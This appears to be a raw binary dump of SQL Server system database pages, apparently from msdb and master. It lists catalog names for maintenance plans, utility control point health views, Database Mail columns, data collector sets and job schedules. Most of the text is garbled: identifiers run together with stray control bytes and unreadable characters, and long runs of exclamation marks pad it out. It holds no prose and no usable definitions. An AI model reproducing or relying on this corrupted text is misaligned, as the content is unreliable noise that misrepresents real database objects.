!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\F		
HX"^`6`x+bN;.}0UF	pPsp_maintplan_delete_subplan0UF	@HNVsysmaintplan_subplansdbomsdb0Oj	@JPXsp_delete_targetserverdbomsdb0Oj	@<BJsysdownloadlistdbomsdb0Oj	@6<Dsysoperatorsdbomsdb0Oj	@>DLsystargetserversdbomsdb0Oj	@DJVxp_instance_regreaddbomaster04z:	@6<Dsp_start_jobdbomsdb04z:	@HNVsysmaintplan_subplansdbomsdb0uZ	@~sysutility_ucp_policy_target_conditions_internaldbomsdb0	@>DLsystargetserversdbomsdb0	@DJVxp_instance_regreaddbomaster0	@28Dxp_regreaddbomaster0m.	@8>Jxp_get_scriptdbomaster0(	`V\fn_sysdac_get_currentusernamedbo0(	`RXfn_sysdac_is_currentuser_sadbo0(	`JPsysdac_history_internaldbo0	@BHPsp_sqlagent_notifydbomsdb0	@RXdxp_instance_regdeletevaluedbomaster0	@DJVxp_instance_regreaddbomaster0	@FLXxp_instance_regwritedbomaster0	@4:Fxp_regwritedbomaster0k%	pHsysutility_ucp_logfiles0k%	@x~sysutility_ucp_dac_file_space_health_internaldbomsdb0k%	@sp_sysutility_ucp_calculate_dac_file_space_healthdbomsdb0k%	@V\dsysutility_ucp_deployed_dacsdbomsdb0k%	@Z`hsysutility_ucp_dac_policy_typedbomsdb0k%	@tzsysutility_ucp_computer_cpu_health_internaldbomsdb0k%	pJsysutility_ucp_datafiles0k%	`\bsysutility_ucp_policy_violationsdbo0k%		`jpfn_sysutility_ucp_get_aggregated_healthdbo0k%
	@bhpsysutility_ucp_dac_health_internaldbomsdb0k%	`RXsysutility_ucp_dac_policiesdbo0k%	@zsysutility_ucp_mi_volume_space_health_internaldbomsdb0ԏ	@x~sysutility_ucp_aggregated_dac_health_internaldbomsdb0ԏ	@bhpsysutility_ucp_dac_health_internaldbomsdb0

 	`\bsysutility_ucp_instance_policiesdbo0

 	@~sp_sysutility_ucp_calculate_mi_file_space_healthdbomsdb0

 	@djrsysutility_ucp_instance_policy_typedbomsdb0

 	@NT\sysutility_ucp_instancesdbomsdb0

 		@tzsysutility_ucp_computer_cpu_health_internaldbomsdb0

 
	`LRsysutility_ucp_datafilesdbo0

 	@lrzfn_sysutility_ucp_get_aggregated_healthdbomsdbsdb0'%"	`\bfn_syscollector_get_package_pathdbo0'%"	`flsyscollector_collector_types_internaldbo0'%"	p8sysssispackages05T#	`^dsp_sysdac_rollback_pending_objectdbo05T#	pHsysdac_history_internal0Ci#	@TZbsystargetservergroupmembersdbomsdb0Ci#	@HNVsystargetservergroupsdbomsdb0Ci#	@>DLsystargetserversdbomsdb0`I#	`TZsyscollector_collector_typesdbo0O$	@hnvsysutility_ucp_configuration_internaldbomsdb0O$	@nt|sysutility_ucp_processing_state_internaldbomsdb0g]$	@TZbsystargetservergroupmembersdbomsdb0g]$	@HNVsystargetservergroupsdbomsdb0k%	pHsysutility_ucp_logfiles0k%	@x~sysutility_ucp_dac_file_space_health_internaldbomsdb0k%	@sp_sysutility_ucp_calculate_dac_file_space_healthdbomsdb0k%	@V\dsysutility_ucp_deployed_dacsdbomsdb0k%	@Z`hsysutility_ucp_dac_policy_typedbomsdb0k%	@tzsysutility_ucp_computer_cpu_health_internaldbomsdb0k%	pJsysutility_ucp_datafiles0k%	`\bsysutility_ucp_policy_violationsdbo0k%		`jpfn_sysutility_ucp_get_aggregated_healthdbo0k%
	@bhpsysutility_ucp_dac_health_internaldbomsdb0k%	`RXsysutility_ucp_dac_policiesdbo0k%	@zsysutility_ucp_mi_volume_space_health_internaldbomsdb0ԏ	@x~sysutility_ucp_aggregated_dac_health_internaldbomsdb0ԏ	@bhpsysutility_ucp_dac_health_internaldbomsdb0

 	`JPsysutility_ucp_logfilesdbo0

 	`\bsysutility_ucp_instance_policiesdbo0

 	@`fnsysutility_ucp_mi_health_internaldbomsdb0

 	@~sp_sysutility_ucp_calculate_mi_file_space_healthdbomsdb0

 	@v|sysutility_ucp_mi_file_space_health_internaldbomsdb0

 	@^dlsysutility_ucp_managed_instancesdbomsdb0

 	@djrsysutility_ucp_instance_policy_typedbomsdb0

 	@NT\sysutility_ucp_instancesdbomsdb0

 		@tzsysutility_ucp_computer_cpu_health_internaldbomsdbd`|X^
8
\>

L
		J	,&
X
,J8@,
V(
:
P	V	^
8^`-Z)^UKa+=0-588
Y@collection_set_id0-588
K@is_running0-588
a@is_collection_running0-588
_@collection_job_state0-588
Y@is_upload_running0-588
W@upload_job_state0-64I@plan_name0-6$$E@plan_id0-
G688
Kmailitem_id0-
G688
Iprofile_id0-
G64@Irecipients0-
G64@Scopy_recipients0-
G64@_blind_copy_recipients0-
G64Csubject0-
G64@=body0-
G64Kbody_format0-
G6	4Iimportance0-
G6
4Ksensitivity0-
G64@Ufile_attachments0-
G64[attachment_encoding0-
G6
4@?query0-
G64aexecute_query_database0-
G6hhkattach_query_result_as_file0-
G6hh[query_result_header0-
G688
Yquery_result_width0-
G64aquery_result_separator0-
G6hh]exclude_query_output0-
G6hhYappend_query_error0-
G6==Wsend_request_date0-
G64Wsend_request_user0-
G688
Ssent_account_id0-
G64Ksent_status0-
G6==Gsent_date0-
G6==Olast_mod_date0-
G64Olast_mod_user0-|6P4I@subsystem0-C"688
Msubsystem_id0-C"688
Eproxy_id0-C"6UU;sid0-C"688
?flags0-688
Y@collection_set_id0-64?@name0-'7$$E@plan_id0-(2;7==M@sent_before0-(2;74M@sent_status0-R<p788
M@schedule_id0-R<p74?@name0-R<p700E@enabled0-R<p788
I@freq_type0-R<p788
Q@freq_interval0-R<p788
W@freq_subday_type0-R<p788
_@freq_subday_interval0-R<p788
c@freq_relative_interval0-R<p7	88
c@freq_recurrence_factor0-R<p7
88
Y@active_start_date0-R<p788
Y@active_start_time0-R<p788
U@active_end_date0-R<p7
88
U@active_end_time0-R<p7UI@owner_sid0-774_@policy_category_name0-7788
[@policy_category_id0-V164]physical_server_name0-V164]server_instance_name0-V164Kvolume_name0-V164Uvolume_device_id0-V16;;[current_utilization0-V16;;Iused_space0-V16;;Savailable_space0-V1688
Wunder_utilization0-V16	88
Uover_utilization0-#&74]physical_server_name0-#&74Edac_name0-#&74]server_instance_name0-#&74Kvolume_name0-#&74Uvolume_device_id0-#&7;;[current_utilization0-#&7;;Iused_space0-#&7;;Savailable_space0-#&7	88
Wunder_utilization0-#&7
88
Uover_utilization0-,5$$Iprimary_id0-,54Qprimary_server0-,54Uprimary_database0-,588
Ubackup_threshold0-,588
Sthreshold_alert0-,5hhcthreshold_alert_enabled0-,54Ulast_backup_file0-,5==Ulast_backup_date0-,5	==]last_backup_date_utc0-,5
88
ehistory_retention_period!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^aZ5Ds&
LUX
U
=X	
w
$
	v		_@E\2Ma
nstG<Ae`D-?4)MdO0-VS4Q@schedule_name0-VS88
M@schedule_id0-\mS88
Y@collection_set_id0-\mS4?@name0-\mS$$Y@collection_job_id0-\mS$$Q@upload_job_id0-\mS44U@collection_mode0-fS88
Kdatabase_id0-fS88
Cfile_id0-fSCpage_id0-fS88
Ievent_type0-fS88
Kerror_count0-fS==劖TUlast_update_date0-{T4Q@schedule_name0-{T88
M@schedule_id0-aT88
Y@collection_set_id0-aT4?@name0-9U
4C@action0-9U4g@current_owner_login_name0-9U4_@new_owner_login_name0-UU==S@reference_date0-U4Q@database_name0-rU$$C@job_id0-rU4G@job_name0-rU4_@target_server_groups0-rU4S@target_servers0-rU4I@operation0-V88
upolicy_category_subscription_id0-V4Ktarget_type0-V4Otarget_object0-V88
Ypolicy_category_id0-W~V==M@oldest_date0-V$$C@job_id0-V4G@job_name0-V4_@target_server_groups0-V4S@target_servers0-W88
Kschedule_id0-W$$Mschedule_uid0-W88
_originating_server_id0-W4=name0-WUUGowner_sid0-W88
Cenabled0-V++
"
Scollection_time0-V88
Isession_id0-V4Wdac_instance_name0-V4Odatabase_name0-V==Ilogin_time0-V88
Wcumulative_cpu_ms0-ΞV4]physical_server_name0-ΞV88
Mhealth_state0-ΞV88
ZXIset_number0-ΞV++
"
;{YSprocessing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0
Mb
y
f
s
HU,
		9	nu2/FOf#@W`-9)
I/$0-xټq4U@event_type_name0-q<4c@name_of_name_parameter0-q<4_@name_of_id_parameter0-q4K@proxy_name0-q88
G@proxy_id0-q4?@name0-q88
U@server_group_id0-q4M@server_name0-q4M@description0-q88
M@server_type0-q88
I@server_id0-[r88
O@principal_id0-[r4S@principal_name0-[r88
K@profile_id0-[r4O@profile_name0- r<4c@name_of_name_parameter0- r<4_@name_of_id_parameter0- r4Q@operator_name0- r88
M@operator_id0-r88
Gpolicy_id0-rhhKsynchronous0-r@Ievent_data0-Jr<4c@name_of_name_parameter0-Jr<4_@name_of_id_parameter0-Jr4U@credential_name0-Jr88
Q@credential_id0-Jrhhq@allow_only_windows_credential0-r88
U@server_group_id0-s88
;Hid0-s4?event0-s4Ecomputer0-s4Eoperator0-s4Asource0-s$$Esourceid0-s$$Kexecutionid0-s==Gstarttime0-s	==Cendtime0-s
88
Edatacode0-s""Gdatabytes0-s4Cmessage0-/Ps88
O@principal_id0-/Ps4S@principal_name0-/Ps88
K@profile_id0-/Ps4O@profile_name0-Y&s4O@profile_name0-Y&s88
;@id0-Y&s4?@name0-Y&s4E@subject0-Y&s4?@body0-Y&s4W@file_attachments0-Y&s4Q@mail_database0-ps88
Kobject_type0-ps@4@;urn0-ps4Oproperty_name0-psbbPPQproperty_value0-ps4]server_instance_name0-ps4]physical_server_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6s8
ad)
O
j#T	

>
		r		[Dil	o7H	w`-9)
RD0-PE&4A@class0-PE&4?@type0-PE&4?@name0-PE&88
S@category_class0-PE&88
Q@category_type0-&$$[@collector_type_uid0-&4?@name0-&K@parameters0-5&$$Cplan_id0-5&$$Ajob_id0-$'88
Uutilization_type0-$'88
[occurence_frequency0-$'88
Strailing_window0-9'4A@class0-9'4?@type0-9'4?@name0-Dڎ'88
Wcollection_set_id0-Dڎ'88
